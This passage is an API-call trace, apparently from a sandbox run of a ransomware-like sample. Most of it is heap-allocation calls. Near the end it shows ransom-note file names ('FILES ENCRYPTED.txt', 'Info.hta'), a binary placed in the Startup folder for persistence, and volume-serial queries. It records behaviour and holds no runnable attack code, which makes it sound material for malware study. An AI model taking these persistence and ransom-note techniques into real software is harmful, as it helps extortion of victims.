RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636680 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636698 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6366b0 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6366c8 [0182.073] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x634650, Size=0x200) returned 0x63e1b0 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6366e0 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e7b0 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6366f8 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636710 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636728 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636740 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636758 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636770 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636788 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6367a0 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6367b8 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6367d0 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6367e8 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636800 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636818 [0182.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x636830 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x636848 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636860 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x636878 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x636890 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6368a8 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6368c0 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6368d8 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e7c0 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6368f0 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636908 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636920 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e7d0 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636938 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x636950 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636968 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636980 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636998 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6369b0 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6369c8 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6369e0 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6369f8 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x636a10 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636a50 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636a68 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636a80 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x636a98 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636ab0 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636ac8 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636ae0 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636af8 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636b10 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636b28 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636b40 [0182.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e7e0 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x63e7f0 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636b58 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636b70 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636b88 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636ba0 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636bb8 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x636bd0 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636be8 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636c00 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636c18 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636c30 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x636c48 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636c60 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636c78 [0182.075] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e1b0, Size=0x400) returned 0x636e38 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636c90 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636ca8 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x636cc0 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636cd8 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636cf0 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636d08 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x636d20 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636d38 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636d50 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636d68 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e800 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636d80 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x636d98 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636db0 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636dc8 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636de0 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x636df8 [0182.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x636e10 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637258 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637270 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637288 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6372a0 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6372b8 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6372d0 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6372e8 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637300 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e810 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637318 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637330 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637348 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637360 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637378 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637390 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6373a8 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6373c0 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6373d8 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x6373f0 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637408 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x637420 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637438 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637450 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637468 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637480 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637498 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6374b0 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6374c8 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6374e0 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6374f8 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637510 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637528 [0182.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637540 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637558 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637570 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637588 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6375a0 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6375b8 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6375d0 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6375e8 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637600 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637618 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637658 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637670 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x637688 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12) returned 0x5f6228 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6376a0 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6376b8 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6376d0 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6376e8 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637700 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637718 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637730 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637748 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637760 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637778 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637790 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6377a8 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6377c0 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6377d8 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6377f0 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637808 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637820 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637838 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637850 [0182.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637868 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x637880 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x637898 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6378b0 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x6378c8 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6378e0 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e820 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6378f8 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e830 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637910 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637928 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637940 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x637958 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x637970 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637988 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6379a0 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6379b8 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6379d0 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6379e8 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x637a00 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x637a18 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x63d9c8 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d9e0 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x63e840 [0182.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x63d9f8 [0182.078] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x636e38, Size=0x800) returned 0x637a40 [0182.078] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638440, Size=0x20) returned 0x633648 [0182.078] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x633648, Size=0x40) returned 0x5f6f08 [0182.078] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6f08, Size=0x80) returned 0x63b588 [0182.079] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e8b0, Size=0x8) returned 0x63e8c0 [0182.079] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e8c0, Size=0x10) returned 0x638440 [0182.079] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638440, Size=0x20) returned 0x633698 [0182.079] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638470, Size=0x20) returned 0x6336c0 [0182.079] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6336c0, Size=0x40) returned 0x5f6f08 [0182.079] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0182.079] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638470, Size=0x20) returned 0x6336c0 [0182.079] lstrlenW (lpString="Info.hta") returned 8 [0182.079] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x650008, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe")) returned 0x42 [0182.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x650008 | out: hHeap=0x5c0000) returned 1 [0182.079] lstrlenW (lpString="n.exe") returned 5 [0182.079] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x633698, Size=0x40) returned 0x5f6f08 [0182.079] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638488, Size=0x20) returned 0x633698 [0182.079] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638488, Size=0x20) returned 0x6336c0 [0182.080] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6336c0, Size=0x40) returned 0x5f6f50 [0182.080] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6f50, Size=0x80) returned 0x63b588 [0182.080] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b588, Size=0x100) returned 0x634650 [0182.080] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0182.080] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x634650 | out: hHeap=0x5c0000) returned 1 [0182.080] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x650008, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0182.080] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x660010 | out: hHeap=0x5c0000) returned 1 [0182.080] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x650008 | out: hHeap=0x5c0000) returned 1 [0182.080] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e8c0, Size=0x8) returned 0x63e8b0 [0182.080] lstrlenW (lpString="%windir%;") returned 9 [0182.080] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633698 | out: hHeap=0x5c0000) returned 1 [0182.080] lstrlenW (lpString="C:\\Windows;") returned 11 [0182.080] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60b570 | out: hHeap=0x5c0000) returned 1 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6384a0, Size=0x20) returned 0x633698 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x633698, Size=0x40) returned 0x5f6f50 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6f50, Size=0x80) returned 0x63b588 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b588, Size=0x100) returned 0x634650 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e8f0, Size=0x8) returned 0x63e900 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e900, Size=0x10) returned 0x6384e8 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6384e8, Size=0x20) returned 0x633698 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e8c0, Size=0x8) returned 0x63e900 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e8d0, Size=0x8) returned 0x63e8c0 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e8f0, Size=0x8) returned 0x63e910 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e910, Size=0x10) returned 0x638590 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638590, Size=0x20) returned 0x6336c0 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e900, Size=0x10) returned 0x638590 [0182.081] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e8c0, Size=0x10) returned 0x6385c0 [0182.082] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e900, Size=0x8) returned 0x63e8f0 [0182.082] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e920, Size=0x8) returned 0x63e930 [0182.082] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638590, Size=0x20) returned 0x6336e8 [0182.082] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6385c0, Size=0x20) returned 0x633710 [0182.082] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e940, Size=0x8) returned 0x63e950 [0182.082] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638638, Size=0x20) returned 0x633760 [0182.082] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x60b570, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0182.082] lstrlenW (lpString="C:\\") returned 3 [0182.082] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0182.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60b570 | out: hHeap=0x5c0000) returned 1 [0182.082] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x636e60, Size=0x82) returned 0x63e240 [0182.082] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x636e80, Size=0x100) returned 0x634650 [0182.082] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e2d0, Size=0x104) returned 0x63e3f0 [0182.082] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63b7a8, Size=0x100) returned 0x634758 [0182.083] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x63e240, Size=0x104) returned 0x63e240 [0182.083] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x634650, Size=0x200) returned 0x60b588 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x636e70 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60b588 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6386e0 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63b720 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x638698 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63b698 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6386c8 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63e240 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6386b0 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63e3f0 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6386f8 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63e360 | out: hHeap=0x5c0000) returned 1 [0182.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x638710 | out: hHeap=0x5c0000) returned 1 [0182.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x636e70 [0182.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638710 [0182.084] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638710, Size=0x20) returned 0x633788 [0182.084] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x633788, Size=0x40) returned 0x5f6f50 [0182.084] RtlAllocateHeap (HeapHandle=0x5c0000, 